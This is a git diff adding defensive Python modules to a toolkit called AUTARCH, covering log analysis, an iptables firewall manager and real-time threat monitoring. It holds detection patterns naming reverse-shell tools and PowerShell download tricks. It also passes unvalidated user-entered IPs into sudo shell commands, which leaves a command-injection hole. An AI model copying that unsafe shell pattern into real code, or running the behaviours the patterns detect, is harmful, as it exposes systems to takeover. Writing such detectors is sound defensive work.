+ traversal_pattern = re.compile(r'\.\./|\.\.\\')
+
+ for log_path in web_logs:
+ if not os.path.exists(log_path):
+ continue
+
+ ip_requests = {}
+ ip_errors = {}
+
+ try:
+ with open(log_path, 'r', errors='ignore') as f:
+ for line in f:
+ # Extract IP
+ ip_match = re.match(r'^(\d+\.\d+\.\d+\.\d+)', line)
+ if not ip_match:
+ continue
+ ip = ip_match.group(1)
+
+ ip_requests[ip] = ip_requests.get(ip, 0) + 1
+
+ # Check for 4xx status
+ status_match = re.search(r'" (\d{3}) ', line)
+ if status_match:
+ status = int(status_match.group(1))
+ if 400 <= status < 500:
+ ip_errors[ip] = ip_errors.get(ip, 0) + 1
+
+ # Check for path traversal
+ if traversal_pattern.search(line):
+ findings.append({'type': 'Path Traversal', 'ip': ip, 'detail': line.strip()[:120], 'severity': 'HIGH'})
+
+ # Check for SQL injection
+ if sqli_patterns.search(line):
+ findings.append({'type': 'SQL Injection Attempt', 'ip': ip, 'detail': line.strip()[:120], 'severity': 'HIGH'})
+
+ # High request rate
+ for ip, count in ip_requests.items():
+ if count > 1000:
+ findings.append({'type': 'High Request Rate', 'ip': ip, 'detail': f'{count} requests', 'severity': 'MEDIUM'})
+
+ # 4xx floods
+ for ip, count in ip_errors.items():
+ if count > 100:
+ findings.append({'type': '4xx Error Flood', 'ip': ip, 'detail': f'{count} error responses', 'severity': 'MEDIUM'})
+
+ except PermissionError:
+ self.print_status(f"Permission denied: {log_path}", "warning")
+ except Exception as e:
+ self.print_status(f"Error reading {log_path}: {e}", "error")
+
+ return findings
+
+ def _geoip_lookup(self, ip: str) -> dict:
+ """Look up GeoIP information for an IP address."""
+ try:
+ success, output = self.run_cmd(f"curl -s 'http://ip-api.com/json/{ip}'")
+ if success and output:
+ data = json.loads(output)
+ return {
+ 'country': data.get('country', 'Unknown'),
+ 'city': data.get('city', 'Unknown'),
+ 'isp': data.get('isp', 'Unknown'),
+ }
+ except:
+ pass
+ return {'country': 'Unknown', 'city': 'Unknown', 'isp': 'Unknown'}
+
+ def _display_log_summary(self, auth_results: list, web_results: list):
+ """Display log analysis summary."""
+ print(f"\n{Colors.CYAN}{'─' * 60}{Colors.RESET}")
+ print(f"{Colors.BOLD}Log Analysis Summary{Colors.RESET}")
+ print(f"{Colors.CYAN}{'─' * 60}{Colors.RESET}")
+
+ if auth_results:
+ total_failures = sum(r['count'] for r in auth_results)
+ print(f"\n {Colors.RED}Total failed logins: {total_failures}{Colors.RESET}")
+
+ # Most targeted usernames
+ all_users = {}
+ for r in auth_results:
+ for u in r['usernames']:
+ all_users[u] = all_users.get(u, 0) + 1
+ top_users = sorted(all_users.items(), key=lambda x: -x[1])[:5]
+ if top_users:
+ print(f"\n {Colors.CYAN}Most targeted usernames:{Colors.RESET}")
+ for user, count in top_users:
+ print(f" {user:20} {count} attempts")
+
+ # Top attacker IPs with GeoIP
+ print(f"\n {Colors.CYAN}Top 10 Attacker IPs:{Colors.RESET}")
+ print(f" {'IP':<18} {'Attempts':>8} {'Users':>5} {'Country':<15} {'ISP'}")
+ print(f" {'─' * 70}")
+ for r in auth_results[:10]:
+ geo = self._geoip_lookup(r['ip'])
+ print(f" {r['ip']:<18} {r['count']:>8} {len(r['usernames']):>5} {geo['country']:<15} {geo['isp'][:25]}")
+ time.sleep(0.5) # Rate limit GeoIP API
+
+ # Offer to block
+ if auth_results:
+ block = input(f"\n{Colors.WHITE}Block top attacker IPs via firewall? (y/n): {Colors.RESET}").strip().lower()
+ if block == 'y':
+ for r in auth_results[:10]:
+ self._fw_block_ip(r['ip'])
+
+ if web_results:
+ print(f"\n {Colors.CYAN}Web Log Findings:{Colors.RESET}")
+ for finding in web_results[:20]:
+ sev_color = Colors.RED if finding['severity'] == 'HIGH' else Colors.YELLOW
+ print(f" {sev_color}[{finding['severity']}]{Colors.RESET} {finding['type']} from {finding['ip']}")
+ print(f" {Colors.DIM}{finding['detail'][:80]}{Colors.RESET}")
+
+ if not auth_results and not web_results:
+ self.print_status("No findings from log analysis", "info")
+
+ # ==================== FIREWALL MANAGER ====================
+
+ def firewall_manager(self):
+ """Interactive firewall rule manager."""
+ while True:
+ print(f"\n{Colors.BOLD}Firewall Manager{Colors.RESET}")
+ print(f"{Colors.DIM}Interactive iptables rule builder{Colors.RESET}")
+ print(f"{Colors.CYAN}{'─' * 50}{Colors.RESET}\n")
+
+ print(f" {Colors.BLUE}[1]{Colors.RESET} View Rules")
+ print(f" {Colors.BLUE}[2]{Colors.RESET} Block IP")
+ print(f" {Colors.BLUE}[3]{Colors.RESET} Unblock IP")
+ print(f" {Colors.BLUE}[4]{Colors.RESET} Rate Limit Port")
+ print(f" {Colors.BLUE}[5]{Colors.RESET} Import from Scan Log")
+ print(f" {Colors.BLUE}[6]{Colors.RESET} Save Ruleset")
+ print(f" {Colors.BLUE}[7]{Colors.RESET} Restore Ruleset")
+ print(f" {Colors.DIM}[0]{Colors.RESET} Back")
+ print()
+
+ try:
+ choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip()
+
+ if choice == "0":
+ break
+ elif choice == "1":
+ self._fw_view_rules()
+ elif choice == "2":
+ self._fw_block_ip()
+ elif choice == "3":
+ self._fw_unblock_ip()
+ elif choice == "4":
+ self._fw_rate_limit()
+ elif choice == "5":
+ self._fw_import_from_scanlog()
+ elif choice == "6":
+ self._fw_save_rules()
+ elif choice == "7":
+ self._fw_restore_rules()
+
+ if choice in ["1", "2", "3", "4", "5", "6", "7"]:
+ input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}")
+
+ except (EOFError, KeyboardInterrupt):
+ break
+
+ def _fw_view_rules(self):
+ """View current iptables rules with color coding."""
+ print(f"\n{Colors.BOLD}Current Firewall Rules{Colors.RESET}\n")
+ success, output = self.run_cmd("sudo iptables -L -n --line-numbers")
+ if success and output:
+ for line in output.split('\n'):
+ if 'DROP' in line:
+ print(f" {Colors.RED}{line}{Colors.RESET}")
+ elif 'ACCEPT' in line:
+ print(f" {Colors.GREEN}{line}{Colors.RESET}")
+ elif 'Chain' in line:
+ print(f" {Colors.CYAN}{Colors.BOLD}{line}{Colors.RESET}")
+ else:
+ print(f" {line}")
+ else:
+ self.print_status("Failed to read iptables rules (need sudo?)", "error")
+
+ def _fw_block_ip(self, ip: str = None):
+ """Block an IP address with iptables."""
+ if ip is None:
+ ip = input(f"{Colors.WHITE}IP to block: {Colors.RESET}").strip()
+ if not ip:
+ return
+
+ success, _ = self.run_cmd(f"sudo iptables -A INPUT -s {ip} -j DROP")
+ if success:
+ self.print_status(f"Blocked {ip}", "success")
+ else:
+ self.print_status(f"Failed to block {ip}", "error")
+
+ def _fw_unblock_ip(self):
+ """Unblock an IP address."""
+ # Show current DROP rules
+ success, output = self.run_cmd("sudo iptables -L INPUT -n --line-numbers")
+ if not success:
+ self.print_status("Failed to read rules", "error")
+ return
+
+ drop_rules = []
+ for line in output.split('\n'):
+ if 'DROP' in line:
+ drop_rules.append(line)
+ print(f" {Colors.RED}{line}{Colors.RESET}")
+
+ if not drop_rules:
+ self.print_status("No DROP rules found", "info")
+ return
+
+ ip = input(f"\n{Colors.WHITE}IP to unblock: {Colors.RESET}").strip()
+ if ip:
+ success, _ = self.run_cmd(f"sudo iptables -D INPUT -s {ip} -j DROP")
+ if success:
+ self.print_status(f"Unblocked {ip}", "success")
+ else:
+ self.print_status(f"Failed to unblock {ip}", "error")
+
+ def _fw_rate_limit(self):
+ """Add rate limiting rule for a port."""
+ port = input(f"{Colors.WHITE}Port to rate limit: {Colors.RESET}").strip()
+ rate = input(f"{Colors.WHITE}Max connections per minute [{Colors.GREEN}25{Colors.WHITE}]: {Colors.RESET}").strip() or "25"
+
+ if not port:
+ return
+
+ try:
+ int(port)
+ int(rate)
+ except ValueError:
+ self.print_status("Invalid port or rate", "error")
+ return
+
+ # Add limit rule then drop excess
+ cmd1 = f"sudo iptables -A INPUT -p tcp --dport {port} -m limit --limit {rate}/min --limit-burst 50 -j ACCEPT"
+ cmd2 = f"sudo iptables -A INPUT -p tcp --dport {port} -j DROP"
+
+ s1, _ = self.run_cmd(cmd1)
+ s2, _ = self.run_cmd(cmd2)
+
+ if s1 and s2:
+ self.print_status(f"Rate limit set: port {port} max {rate}/min", "success")
+ else:
+ self.print_status("Failed to set rate limit", "error")
+
+ def _fw_import_from_scanlog(self):
+ """Import IPs from scan monitor log."""
+ log_file = "results/scan_monitor.log"
+ if not os.path.exists(log_file):
+ self.print_status("No scan monitor log found", "warning")
+ return
+
+ ip_re = re.compile(r'detected from (\d+\.\d+\.\d+\.\d+)')
+ ips = set()
+
+ with open(log_file, 'r') as f:
+ for line in f:
+ m = ip_re.search(line)
+ if m:
+ ips.add(m.group(1))
+
+ if not ips:
+ self.print_status("No attacker IPs found in scan log", "info")
+ return
+
+ print(f"\n{Colors.CYAN}Found {len(ips)} attacker IPs in scan log:{Colors.RESET}")
+ for ip in sorted(ips):
+ print(f" {Colors.RED}{ip}{Colors.RESET}")
+
+ confirm = input(f"\n{Colors.WHITE}Block all {len(ips)} IPs? (y/n): {Colors.RESET}").strip().lower()
+ if confirm == 'y':
+ for ip in ips:
+ self._fw_block_ip(ip)
+
+ def _fw_save_rules(self):
+ """Save current iptables rules to file."""
+ os.makedirs("results", exist_ok=True)
+ filename = f"results/iptables_{datetime.now().strftime('%Y%m%d_%H%M%S')}.rules"
+ success, output = self.run_cmd("sudo iptables-save")
+ if success and output:
+ with open(filename, 'w') as f:
+ f.write(output)
+ self.print_status(f"Rules saved to {filename}", "success")
+ else:
+ self.print_status("Failed to save rules", "error")
+
+ def _fw_restore_rules(self):
+ """Restore iptables rules from file."""
+ # List saved rule files
+ rule_files = sorted(Path("results").glob("iptables_*.rules")) if Path("results").exists() else []
+ if not rule_files:
+ self.print_status("No saved rulesets found", "warning")
+ return
+
+ print(f"\n{Colors.CYAN}Saved Rulesets:{Colors.RESET}")
+ for i, f in enumerate(rule_files, 1):
+ print(f" {Colors.BLUE}[{i}]{Colors.RESET} {f.name}")
+
+ choice = input(f"\n{Colors.WHITE}Select ruleset: {Colors.RESET}").strip()
+ try:
+ idx = int(choice) - 1
+ if 0 <= idx < len(rule_files):
+ success, _ = self.run_cmd(f"sudo iptables-restore < {rule_files[idx]}")
+ if success:
+ self.print_status(f"Rules restored from {rule_files[idx].name}", "success")
+ else:
+ self.print_status("Failed to restore rules", "error")
+ except (ValueError, IndexError):
+ self.print_status("Invalid selection", "error")
+
+ def show_menu(self):
+ """Display defender menu."""
+ clear_screen()
+ display_banner()
+
+ print(f"{Colors.BLUE}{Colors.BOLD} System Defender{Colors.RESET}")
+ print(f"{Colors.DIM} Security hardening assessment{Colors.RESET}")
+ print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}")
+ print()
+ print(f" {Colors.GREEN}[M]{Colors.RESET} {Colors.BOLD}My System{Colors.RESET} - Full audit with CVE detection & auto-fix")
+ print()
+ print(f" {Colors.BLUE}[1]{Colors.RESET} Quick Security Audit")
+ print(f" {Colors.BLUE}[2]{Colors.RESET} Firewall Check")
+ print(f" {Colors.BLUE}[3]{Colors.RESET} SSH Hardening Check")
+ print(f" {Colors.BLUE}[4]{Colors.RESET} Open Ports Scan")
+ print(f" {Colors.BLUE}[5]{Colors.RESET} User Security Check")
+ print(f" {Colors.BLUE}[6]{Colors.RESET} File Permissions Check")
+ print(f" {Colors.BLUE}[7]{Colors.RESET} Service Audit")
+ print(f" {Colors.BLUE}[8]{Colors.RESET} Scan Monitor - Detect & counter incoming scans")
+ print(f" {Colors.BLUE}[9]{Colors.RESET} Honeypot - Fake service listeners to trap scanners")
+ print()
+ print(f" {Colors.MAGENTA}[A]{Colors.RESET} Firewall Manager - Interactive iptables rule builder")
+ print(f" {Colors.MAGENTA}[B]{Colors.RESET} Log Analyzer - Parse system logs for threats")
+ print()
+ print(f" {Colors.DIM}[0]{Colors.RESET} Back")
+ print()
+
+ def full_audit(self):
+ """Run all checks."""
+ print(f"\n{Colors.BOLD}Running Full Security Audit...{Colors.RESET}\n")
+ self.results = []
+
+ self.check_firewall()
+ self.check_ssh_config()
+ self.check_open_ports()
+ self.check_updates()
+ self.check_users()
+ self.check_permissions()
+ self.check_services()
+ self.check_fail2ban()
+ self.check_selinux()
+
+ # Summary
+ passed = sum(1 for r in self.results if r['passed'])
+ total = len(self.results)
+ score = int((passed / total) * 100) if total > 0 else 0
+
+ print(f"\n{Colors.BOLD}{'─' * 50}{Colors.RESET}")
+ print(f"{Colors.BOLD}Security Score: {score}% ({passed}/{total} checks passed){Colors.RESET}")
+
+ if score >= 80:
+ print(f"{Colors.GREEN}Status: Good security posture{Colors.RESET}")
+ elif score >= 50:
+ print(f"{Colors.YELLOW}Status: Needs improvement{Colors.RESET}")
+ else:
+ print(f"{Colors.RED}Status: Critical - immediate action required{Colors.RESET}")
+
+ def run(self):
+ """Main loop."""
+ while True:
+ self.show_menu()
+ try:
+ choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip().lower()
+
+ if choice == "0":
+ break
+ elif choice == "m":
+ # Launch My System module
+ try:
+ from modules.mysystem import MySystem
+ MySystem().run()
+ except ImportError as e:
+ print(f"{Colors.RED}[X] Failed to load My System module: {e}{Colors.RESET}")
+ input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}")
+ continue
+ elif choice == "1":
+ self.full_audit()
+ elif choice == "2":
+ print()
+ self.results = []
+ self.check_firewall()
+ elif choice == "3":
+ print()
+ self.results = []
+ self.check_ssh_config()
+ elif choice == "4":
+ print()
+ self.results = []
+ self.check_open_ports()
+ elif choice == "5":
+ print()
+ self.results = []
+ self.check_users()
+ elif choice == "6":
+ print()
+ self.results = []
+ self.check_permissions()
+ elif choice == "7":
+ print()
+ self.results = []
+ self.check_services()
+ self.check_fail2ban()
+ self.check_selinux()
+ elif choice == "8":
+ self.scan_monitor()
+ elif choice == "9":
+ self.honeypot()
+ elif choice == "a":
+ self.firewall_manager()
+ continue
+ elif choice == "b":
+ self.log_analyzer()
+
+ if choice in ["1", "2", "3", "4", "5", "6", "7", "8", "9", "a", "b"]:
+ input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}")
+
+ except (EOFError, KeyboardInterrupt):
+ break
+
+
+def run():
+ Defender().run()
+
+
+if __name__ == "__main__":
+ run()
diff --git a/modules/defender_monitor.py b/modules/defender_monitor.py
new file mode 100644
index 0000000..eb9d43d
--- /dev/null
+++ b/modules/defender_monitor.py
@@ -0,0 +1,1162 @@
+"""
+AUTARCH Threat Monitor Module
+Real-time threat detection, monitoring, and counter-attack
+
+Cross-platform network monitoring with active response capabilities.
+"""
+
+import os
+import sys
+import subprocess
+import re
+import json
+import time
+import platform
+import urllib.request
+from pathlib import Path
+from datetime import datetime
+from collections import defaultdict
+
+sys.path.insert(0, str(Path(__file__).parent.parent))
+
+# Module metadata
+DESCRIPTION = "Real-time threat detection & counter-attack"
+AUTHOR = "darkHal"
+VERSION = "2.0"
+CATEGORY = "defense"
+
+_is_win = platform.system() == 'Windows'
+
+
+class ThreatMonitor:
+ """Cross-platform real-time threat monitoring."""
+
+ def __init__(self):
+ self._data_dir = Path(__file__).parent.parent / 'data'
+ self._blocklist_path = self._data_dir / 'blocklist.json'
+ self._ddos_config_path = self._data_dir / 'ddos_config.json'
+ self._mitigation_log_path = self._data_dir / 'mitigation_log.json'
+
+ # In-memory state for tracking
+ self._prev_bandwidth = {}
+ self._prev_listening_ports = set()
+ self._prev_listening_initialized = False
+ self._connection_rate_history = []
+ self._arp_table_cache = {}
+ self._geoip_cache = {}
+
+ # Process name cache to avoid repeated tasklist calls
+ self._proc_name_cache = {}
+ self._proc_name_cache_time = 0
+
+ def run_cmd(self, cmd: str, timeout=15) -> tuple:
+ """Run command and return (success, output)."""
+ try:
+ result = subprocess.run(cmd, shell=True, capture_output=True,
+ text=True, timeout=timeout)
+ return result.returncode == 0, result.stdout.strip()
+ except Exception:
+ return False, ""
+
+ def run_ps(self, ps_command: str, timeout=15) -> tuple:
+ """Run a PowerShell command (Windows only)."""
+ cmd = f'powershell -NoProfile -ExecutionPolicy Bypass -Command "{ps_command}"'
+ return self.run_cmd(cmd, timeout=timeout)
+
+ # ==================== MONITORING ====================
+
+ def get_connections(self):
+ """Get active network connections with process info."""
+ connections = []
+
+ if _is_win:
+ success, output = self.run_ps(
+ "Get-NetTCPConnection -ErrorAction SilentlyContinue | "
+ "Select-Object LocalAddress, LocalPort, RemoteAddress, RemotePort, State, OwningProcess | "
+ "ConvertTo-Json -Depth 2"
+ )
+ if success and output.strip():
+ try:
+ data = json.loads(output)
+ if isinstance(data, dict):
+ data = [data]
+ for c in data:
+ pid = c.get('OwningProcess', 0)
+ proc_name = self._get_process_name_win(pid)
+ connections.append({
+ 'local_addr': c.get('LocalAddress', ''),
+ 'local_port': c.get('LocalPort', 0),
+ 'remote_addr': c.get('RemoteAddress', ''),
+ 'remote_port': c.get('RemotePort', 0),
+ 'state': c.get('State', ''),
+ 'pid': pid,
+ 'process': proc_name,
+ })
+ except json.JSONDecodeError:
+ pass
+ else:
+ success, output = self.run_cmd("ss -tnp 2>/dev/null")
+ if success:
+ for line in output.split('\n')[1:]:
+ parts = line.split()
+ if len(parts) >= 5:
+ state = parts[0]
+ local = parts[3]
+ remote = parts[4]
+ proc_info = parts[5] if len(parts) > 5 else ""
+
+ local_parts = local.rsplit(':', 1)
+ remote_parts = remote.rsplit(':', 1)
+
+ pid_match = re.search(r'pid=(\d+)', proc_info)
+ proc_match = re.search(r'"([^"]+)"', proc_info)
+
+ connections.append({
+ 'local_addr': local_parts[0] if len(local_parts) > 1 else '',
+ 'local_port': int(local_parts[1]) if len(local_parts) > 1 else 0,
+ 'remote_addr': remote_parts[0] if len(remote_parts) > 1 else '',
+ 'remote_port': int(remote_parts[1]) if len(remote_parts) > 1 else 0,
+ 'state': state,
+ 'pid': int(pid_match.group(1)) if pid_match else 0,
+ 'process': proc_match.group(1) if proc_match else '',
+ })
+
+ return connections
+
+ def _get_process_name_win(self, pid):
+ """Get process name from PID on Windows (cached)."""
+ if not pid:
+ return ""
+ # Refresh cache every 10 seconds
+ now = time.time()
+ if now - self._proc_name_cache_time > 10:
+ self._proc_name_cache.clear()
+ self._proc_name_cache_time = now
+ # Bulk fetch all process names in one call
+ success, output = self.run_cmd('tasklist /FO CSV /NH', timeout=10)
+ if success and output.strip():
+ for line in output.strip().split('\n'):
+ parts = line.strip().split(',')
+ if len(parts) >= 2:
+ name = parts[0].strip('"')
+ p = parts[1].strip('"')
+ if p.isdigit():
+ self._proc_name_cache[int(p)] = name
+ return self._proc_name_cache.get(int(pid), "")
+
+ def check_port_scan_indicators(self):
+ """Detect port scan patterns in active connections."""
+ connections = self.get_connections()
+ indicators = []
+
+ # Group connections by remote IP
+ ip_connections = {}
+ for c in connections:
+ rip = c.get('remote_addr', '')
+ if rip and rip not in ('0.0.0.0', '::', '127.0.0.1', '::1', '*'):
+ ip_connections.setdefault(rip, []).append(c)
+
+ for ip, conns in ip_connections.items():
+ # Many connections from single IP to different local ports = scan
+ local_ports = set(c['local_port'] for c in conns)
+ syn_conns = [c for c in conns if 'SYN' in str(c.get('state', '')).upper()
+ or 'TimeWait' in str(c.get('state', ''))]
+
+ if len(local_ports) > 10:
+ indicators.append({
+ 'type': 'port_scan',
+ 'ip': ip,
+ 'ports_targeted': len(local_ports),
+ 'total_connections': len(conns),
+ 'severity': 'HIGH',
+ 'detail': f"{ip} connected to {len(local_ports)} different ports",
+ })
+ elif len(syn_conns) > 5:
+ indicators.append({
+ 'type': 'syn_flood',
+ 'ip': ip,
+ 'syn_count': len(syn_conns),
+ 'severity': 'HIGH',
+ 'detail': f"{ip} has {len(syn_conns)} SYN/half-open connections",
+ })
+
+ return indicators
+
+ def get_suspicious_processes(self):
+ """Identify suspicious processes."""
+ suspicious = []
+
+ if _is_win:
+ success, output = self.run_ps(
+ "Get-CimInstance Win32_Process -ErrorAction SilentlyContinue | "
+ "Select-Object ProcessId, Name, CommandLine, "
+ "@{N='CPU';E={$_.KernelModeTime + $_.UserModeTime}} | "
+ "ConvertTo-Json -Depth 2"
+ )
+ if success and output.strip():
+ try:
+ data = json.loads(output)
+ if isinstance(data, dict):
+ data = [data]
+ suspicious_names = {
+ 'nc.exe', 'ncat.exe', 'netcat.exe', 'powershell.exe',
+ 'cmd.exe', 'mshta.exe', 'wscript.exe', 'cscript.exe',
+ 'regsvr32.exe', 'rundll32.exe', 'certutil.exe',
+ }
+ for proc in data:
+ name = (proc.get('Name') or '').lower()
+ cmdline = proc.get('CommandLine') or ''
+ if name in suspicious_names and cmdline:
+ # Check for suspicious command line patterns
+ sus_patterns = ['-e cmd', '-e powershell', 'bypass', 'hidden',
+ 'downloadstring', 'invoke-expression', 'iex',
+ 'encodedcommand', '-enc ', 'base64']
+ for pat in sus_patterns:
+ if pat.lower() in cmdline.lower():
+ suspicious.append({
+ 'pid': proc.get('ProcessId', 0),
+ 'name': proc.get('Name', ''),
+ 'cmdline': cmdline[:200],
+ 'reason': f"Suspicious pattern: {pat}",
+ 'severity': 'HIGH',
+ })
+ break
+ except json.JSONDecodeError:
+ pass
+ else:
+ success, output = self.run_cmd("ps aux --no-headers 2>/dev/null")
+ if success:
+ suspicious_cmds = ['nc -', 'ncat ', '/bin/sh -i', '/bin/bash -i',
+ 'python -c', 'perl -e', 'ruby -e']
+ for line in output.split('\n'):
+ parts = line.split(None, 10)
+ if len(parts) >= 11:
+ cmdline = parts[10]
+ for pat in suspicious_cmds:
+ if pat in cmdline:
+ suspicious.append({
+ 'pid': int(parts[1]) if parts[1].isdigit() else 0,
+ 'name': parts[10].split()[0] if parts[10] else '',
+ 'cmdline': cmdline[:200],
+ 'reason': f"Suspicious pattern: {pat}",
+ 'severity': 'HIGH',
+ })
+ break
+
+ return suspicious
+
+ def get_recent_failed_logins(self, minutes=10):
+ """Get recent failed login attempts."""
+ logins = []
+
+ if _is_win:
+ success, output = self.run_ps(
+ f"Get-WinEvent -FilterHashtable @{{LogName='Security'; Id=4625}} "
+ f"-MaxEvents 100 -ErrorAction SilentlyContinue | "
+ f"Where-Object {{ $_.TimeCreated -gt (Get-Date).AddMinutes(-{minutes}) }} | "
+ f"Select-Object TimeCreated, "
+ f"@{{N='IP';E={{$_.Properties[19].Value}}}}, "
+ f"@{{N='User';E={{$_.Properties[5].Value}}}} | "
+ f"ConvertTo-Json"
+ )
+ if success and output.strip():
+ try:
+ data = json.loads(output)
+ if isinstance(data, dict):
+ data = [data]
+ for entry in data:
+ logins.append({
+ 'time': str(entry.get('TimeCreated', '')),
+ 'ip': entry.get('IP', 'Unknown'),
+ 'user': entry.get('User', 'Unknown'),
+ })
+ except json.JSONDecodeError:
+ pass
+ else:
+ success, output = self.run_cmd(
+ f"grep 'Failed password' /var/log/auth.log 2>/dev/null | tail -50"
+ )
+ if success:
+ for line in output.split('\n'):
+ if not line.strip():
+ continue
+ ip_match = re.search(r'from\s+(\S+)', line)
+ user_match = re.search(r'for\s+(?:invalid\s+user\s+)?(\S+)', line)
+ time_match = re.match(r'^(\w+\s+\d+\s+[\d:]+)', line)
+ logins.append({
+ 'time': time_match.group(1) if time_match else '',
+ 'ip': ip_match.group(1) if ip_match else 'Unknown',
+ 'user': user_match.group(1) if user_match else 'Unknown',
+ })
+
+ return logins
+
+ def get_dns_cache(self):
+ """Get DNS cache entries."""
+ entries = []
+
+ if _is_win:
+ success, output = self.run_ps(
+ "Get-DnsClientCache -ErrorAction SilentlyContinue | "
+ "Select-Object Entry, RecordName, Data, Type, TimeToLive | "
+ "ConvertTo-Json -Depth 2"
+ )
+ if success and output.strip():
+ try:
+ data = json.loads(output)
+ if isinstance(data, dict):
+ data = [data]
+ for e in data[:50]:
+ entries.append({
+ 'name': e.get('Entry') or e.get('RecordName', ''),
+ 'data': e.get('Data', ''),
+ 'type': e.get('Type', ''),
+ 'ttl': e.get('TimeToLive', 0),
+ })
+ except json.JSONDecodeError:
+ pass
+ else:
+ # Check systemd-resolved
+ success, output = self.run_cmd("resolvectl statistics 2>/dev/null")
+ if success:
+ entries.append({'name': 'systemd-resolved', 'data': output[:200], 'type': 'stats', 'ttl': 0})
+
+ return entries
+
+ # ==================== BANDWIDTH ====================
+
+ def get_bandwidth(self):
+ """Get bytes in/out per network interface with deltas."""
+ interfaces = []
+
+ if _is_win:
+ success, output = self.run_ps(
+ "Get-NetAdapterStatistics -ErrorAction SilentlyContinue | "
+ "Select-Object Name, ReceivedBytes, SentBytes | ConvertTo-Json"
+ )
+ if success and output.strip():
+ try:
+ data = json.loads(output)
+ if isinstance(data, dict):
+ data = [data]
+ for iface in data:
+ name = iface.get('Name', '')
+ rx = iface.get('ReceivedBytes', 0)
+ tx = iface.get('SentBytes', 0)
+ prev = self._prev_bandwidth.get(name, {})
+ interfaces.append({
+ 'interface': name,
+ 'rx_bytes': rx, 'tx_bytes': tx,
+ 'rx_delta': max(0, rx - prev.get('rx', rx)),
+ 'tx_delta': max(0, tx - prev.get('tx', tx)),
+ })
+ self._prev_bandwidth[name] = {'rx': rx, 'tx': tx}
+ except json.JSONDecodeError:
+ pass
+ else:
+ try:
+ with open('/proc/net/dev', 'r') as f:
+ for line in f:
+ if ':' not in line:
+ continue
+ name, stats = line.split(':', 1)
+ name = name.strip()
+ parts = stats.split()
+ if len(parts) >= 10:
+ rx = int(parts[0])
+ tx = int(parts[8])
+ prev = self._prev_bandwidth.get(name, {})
+ interfaces.append({
+ 'interface': name,
+ 'rx_bytes': rx, 'tx_bytes': tx,
+ 'rx_delta': max(0, rx - prev.get('rx', rx)),
+ 'tx_delta': max(0, tx - prev.get('tx', tx)),
+ })
+ self._prev_bandwidth[name] = {'rx': rx, 'tx': tx}
+ except Exception:
+ pass
+
+ return interfaces
+
+ # ==================== ARP SPOOF DETECTION ====================
+
+ def check_arp_spoofing(self):
+ """Detect ARP spoofing — multiple MACs for same IP."""
+ alerts = []
+
+ if _is_win:
+ success, output = self.run_cmd("arp -a")
+ else:
+ success, output = self.run_cmd("ip neigh show 2>/dev/null || arp -an 2>/dev/null")
+
+ if not success:
+ return alerts
+
+ ip_macs = defaultdict(set)
+ for line in output.split('\n'):
+ # Match IP and MAC patterns
+ ip_match = re.search(r'(\d+\.\d+\.\d+\.\d+)', line)
+ mac_match = re.search(r'([0-9a-fA-F]{2}[:-]){5}[0-9a-fA-F]{2}', line)
+ if ip_match and mac_match:
+ ip = ip_match.group(1)
+ mac = mac_match.group(0).lower()
+ if ip not in ('255.255.255.255',) and not ip.startswith('224.'):
+ ip_macs[ip].add(mac)
+
+ # Merge into cache for history tracking
+ for ip, macs in ip_macs.items():
+ self._arp_table_cache.setdefault(ip, set()).update(macs)
+
+ # Check for IPs with multiple MACs
+ for ip, macs in self._arp_table_cache.items():
+ if len(macs) > 1:
+ alerts.append({
+ 'ip': ip,
+ 'macs': list(macs),
+ 'severity': 'CRITICAL',
+ 'detail': f"{ip} has {len(macs)} different MAC addresses",
+ })
+
+ return alerts
+
+ # ==================== NEW LISTENING PORTS ====================
+
+ def check_new_listening_ports(self):
+ """Detect new listening ports since last check."""
+ current_ports = {}
+
+ if _is_win:
+ success, output = self.run_ps(
+ "Get-NetTCPConnection -State Listen -ErrorAction SilentlyContinue | "
+ "Select-Object LocalPort, OwningProcess | ConvertTo-Json"
+ )
+ if success and output.strip():
+ try:
+ data = json.loads(output)
+ if isinstance(data, dict):
+ data = [data]
+ for entry in data:
+ port = entry.get('LocalPort', 0)
+ pid = entry.get('OwningProcess', 0)
+ current_ports[port] = {'port': port, 'pid': pid, 'process': self._get_process_name_win(pid)}
+ except json.JSONDecodeError:
+ pass
+ else:
+ success, output = self.run_cmd("ss -tlnp 2>/dev/null")
+ if success:
+ for line in output.split('\n')[1:]:
+ parts = line.split()
+ if len(parts) >= 4:
+ local = parts[3]
+ port_match = re.search(r':(\d+)$', local)
+ if port_match:
+ port = int(port_match.group(1))
+ pid_match = re.search(r'pid=(\d+)', line)
+ proc_match = re.search(r'"([^"]+)"', line)
+ current_ports[port] = {
+ 'port': port,
+ 'pid': int(pid_match.group(1)) if pid_match else 0,
+ 'process': proc_match.group(1) if proc_match else '',
+ }
+
+ current_set = set(current_ports.keys())
+
+ if not self._prev_listening_initialized:
+ self._prev_listening_ports = current_set
+ self._prev_listening_initialized = True
+ return []
+
+ new_ports = current_set - self._prev_listening_ports
+ self._prev_listening_ports = current_set
+
+ return [current_ports[p] for p in new_ports if p in current_ports]
+
+ # ==================== GEOIP ====================
+
+ def geoip_lookup(self, ip):
+ """GeoIP lookup via ipwho.is (free, no API key)."""
+ # Skip private IPs
+ if ip.startswith(('127.', '10.', '192.168.', '0.0.0.', '::')) or ip == '::1':
+ return None
+ if re.match(r'^172\.(1[6-9]|2\d|3[01])\.', ip):
+ return None
+
+ # Check cache
+ if ip in self._geoip_cache:
+ return self._geoip_cache[ip]
+
+ try:
+ req = urllib.request.Request(f'https://ipwho.is/{ip}',
+ headers={'User-Agent': 'AUTARCH/2.0'})
+ with urllib.request.urlopen(req, timeout=5) as resp:
+ data = json.loads(resp.read().decode())
+ if data.get('success'):
+ result = {
+ 'ip': ip,
+ 'country': data.get('country', ''),
+ 'country_code': data.get('country_code', ''),
+ 'city': data.get('city', ''),
+ 'isp': data.get('connection', {}).get('isp', ''),
+ 'org': data.get('connection', {}).get('org', ''),
+ 'asn': data.get('connection', {}).get('asn', 0),
+ }
+ self._geoip_cache[ip] = result
+ return result
+ except Exception:
+ pass
+ return None
+
+ def get_connections_with_geoip(self):
+ """Get connections enriched with GeoIP data."""
+ connections = self.get_connections()
+ for conn in connections:
+ remote = conn.get('remote_addr', '')
